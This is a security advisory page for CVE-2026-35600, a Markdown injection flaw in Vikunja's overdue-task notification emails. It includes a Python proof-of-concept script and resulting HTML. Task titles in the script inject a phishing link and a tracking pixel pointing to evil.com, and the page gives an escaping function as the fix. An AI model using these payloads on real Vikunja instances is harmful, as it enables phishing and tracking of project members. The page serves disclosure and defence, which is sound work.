CVE-2026-35600

Task titles are embedded directly into Markdown link syntax in overdue email notifications without escaping Markdown special characters. When rendered by goldmark and sanitized by bluemonday (which allows <a> and <img> tags), injected Markdown constructs produce phishing links and tracking pixels in legitimate notification emails.

Details

The overdue task notification at pkg/models/notifications.go:360 constructs a Markdown list entry:

overdueLine += `* [` + task.Title + `](` + config.ServicePublicURL.GetString() + "tasks/" + strconv.FormatInt(task.ID, 10) + `) ...`

The task title is placed inside Markdown link syntax [TITLE](URL). A title containing ] and [ breaks the link structure. The assembled Markdown is converted to HTML by goldmark at pkg/notifications/mail_render.go:214, then sanitized by bluemonday's UGCPolicy. Since UGCPolicy intentionally allows <a href> and <img src> with http/https URLs, the injected links and images survive sanitization and reach the email recipient.

The same pattern affects multiple notification types at notifications.go lines 72, 176, 227, and 318.

Proof of Concept

Tested on Vikunja v2.2.2 with SMTP enabled (MailHog as sink).

import requests

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "alice", "password": "Alice1234!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "Shared"}).json()

# create task with markdown injection in title + past due date
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": 'test](https://evil.com) [Click to verify your account',
    "due_date": "2026-03-26T00:00:00Z"})

# create task with tracking pixel injection
requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h, json={
    "title": '![](https://evil.com/track.png?user=bob)',
    "due_date": "2026-03-26T00:00:00Z"})

# enable overdue reminders for the user
requests.post(f"{API}/user/settings/general", headers=h, json={
    "email_reminders_enabled": True,
    "overdue_tasks_reminders_enabled": True,
    "overdue_tasks_reminders_time": "09:00"})

# wait for the overdue notification cron to fire, then inspect the email

The overdue notification email HTML contains:

<li>
  <a href="https://evil.com">test</a>
  <a href="http://vikunja.example/tasks/5">Click to verify your account</a>
  (Shared), since one day
</li>
<li>
  <a href="http://vikunja.example/tasks/6">
    <img src="https://evil.com/track.png?user=bob">
  </a>
  (Shared), since one day
</li>

The attacker's evil.com link appears as a clickable link in a legitimate Vikunja notification email. The tracking pixel loads when the email is opened.

An attacker with write access to a shared project can craft task titles that inject phishing links or tracking images into overdue email notifications sent to other project members. Because these links appear within legitimate Vikunja notification emails from the configured SMTP server, recipients are more likely to trust and click them.

Untrusted input is rendered as active markup in a victim's browser, which can run script in their session. Typical impact: session or credential theft, and actions taken as the user.

CVE-2026-35600 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.0); upgrading removes the vulnerable code path.

Kodem intelligence

Escape Markdown special characters in task titles before embedding them in Markdown content:

func escapeMarkdown(s string) string {
    replacer := strings.NewReplacer(
        "[", "\\[", "]", "\\]",
        "(", "\\(", ")", "\\)",
        "!", "\\!", "`", "\\`",
        "*", "\\*", "_", "\\_",
        "#", "\\#",
    )
    return replacer.Replace(s)
}

Found and reported by aisafe.io

1. What is CVE-2026-35600? CVE-2026-35600 is a medium-severity cross-site scripting (XSS) vulnerability in code.vikunja.io/api (go), affecting versions <= 2.2.2. It is fixed in 2.3.0. Untrusted input is rendered as active markup in a victim's browser, which can run script in their session.
2. How severe is CVE-2026-35600? CVE-2026-35600 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of code.vikunja.io/api are affected by CVE-2026-35600? code.vikunja.io/api (go) versions <= 2.2.2 is affected.
4. Is there a fix for CVE-2026-35600? Yes. CVE-2026-35600 is fixed in 2.3.0. Upgrade to this version or later.
5. Is CVE-2026-35600 exploitable, and should I be worried? Whether CVE-2026-35600 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-35600 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-35600? Upgrade code.vikunja.io/api to 2.3.0 or later.